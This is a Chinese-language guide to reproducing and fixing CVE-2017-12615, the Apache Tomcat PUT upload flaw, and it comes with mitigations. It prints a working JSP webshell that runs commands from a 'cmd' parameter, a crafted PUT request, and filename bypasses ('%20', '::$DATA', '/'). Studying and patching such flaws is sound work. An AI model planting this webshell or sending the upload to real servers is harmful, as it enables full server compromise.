CVE-2017-12615漏洞复现
字数 1641 2025-08-27 12:33:31
CVE-2017-12615漏洞分析与复现指南
1. 漏洞概述
CVE-2017-12615是Apache Tomcat中的一个高危远程代码执行漏洞,于2017年9月19日被官方确认并修复。该漏洞允许攻击者在特定条件下通过HTTP PUT方法上传包含任意代码的JSP webshell文件,从而导致服务器被控制。
影响版本:Apache Tomcat 7.0.0 - 7.0.79
漏洞危害:
- 服务器数据泄露
- 服务器被完全控制
- 恶意代码执行
2. 漏洞原理
2.1 默认配置分析
在Tomcat的conf/web.xml文件中,DefaultServlet负责处理静态文件请求,其配置中包含readonly参数:
<init-param>
<param-name>readonly</param-name>
<param-value>true</param-value>
</init-param>
默认情况下readonly为true,禁止HTTP PUT和DELETE请求。当此参数被设置为false时,攻击者可以利用PUT方法上传文件。
2.2 漏洞触发条件
- 运行在Windows系统上
readonly参数被设置为false- 攻击者能够发送PUT请求
2.3 绕过限制的方法
虽然Tomcat默认阻止上传.jsp和.jspx文件,但可以通过Windows文件系统特性绕过:
- 末尾添加空格:
shell.jsp%20 - 使用NTFS数据流:
shell.jsp::$DATA - 添加斜杠:
shell.jsp/
3. 环境搭建
3.1 所需环境
- 操作系统:Windows 10
- Tomcat版本:7.0.56
- JDK版本:1.8.0
- 工具:
- Firefox浏览器
- Burp Suite v1.7.36
3.2 漏洞环境配置
- 修改
conf/web.xml文件,添加或修改以下内容:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
- 保存文件并重启Tomcat服务
4. 漏洞复现步骤
4.1 构造WebShell
准备一个简单的JSP webshell,内容如下:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<br>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
4.2 使用Burp Suite进行攻击
- 配置浏览器通过Burp Suite代理
- 访问Tomcat默认页面
- 拦截请求并修改为PUT方法
- 构造PUT请求上传webshell:
PUT /shell.jsp%20 HTTP/1.1
Host: target:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: [webshell length]
[webshell content]
- 发送请求,服务器应返回201 Created响应
4.3 验证漏洞
- 访问上传的webshell:
http://target:8080/shell.jsp - 添加cmd参数执行命令:
http://target:8080/shell.jsp?cmd=whoami - 确认命令执行结果
5. 漏洞修复方案
5.1 官方修复
升级到Tomcat 7.0.80或更高版本。
5.2 临时缓解措施
-
恢复readonly参数:
- 将
readonly参数值改回true - 或直接注释掉该参数
- 将
-
禁用PUT方法:
在web.xml中添加以下配置:
<security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>PUT</http-method>
</web-resource-collection>
<auth-constraint/>
</security-constraint>
- 文件系统权限控制:
- 限制webapps目录的写入权限
- 定期检查异常文件
6. 深入分析
6.1 技术细节
漏洞的根本原因在于Tomcat对JSP文件上传的校验不足,结合Windows文件系统的特性:
- DefaultServlet处理PUT请求:当
readonly=false时,DefaultServlet会处理PUT请求并保存文件 - JspServlet处理执行:上传的文件被当作JSP文件执行
- Windows文件名解析:Windows会自动去除文件名末尾的空格和
.,使shell.jsp%20最终保存为shell.jsp
6.2 防御思路
- 输入验证:严格校验上传文件名
- 最小权限原则:web应用使用最小必要权限运行
- 安全配置:遵循Tomcat安全加固指南
- 入侵检测:监控web目录的文件变化
7. 总结
CVE-2017-12615漏洞展示了配置不当与平台特性结合可能导致的严重安全问题。管理员应:
- 及时更新中间件版本
- 遵循安全配置指南
- 限制不必要的HTTP方法
- 实施严格的输入验证
- 建立有效的监控机制
通过全面了解该漏洞的原理和利用方式,可以更好地防御类似的安全威胁。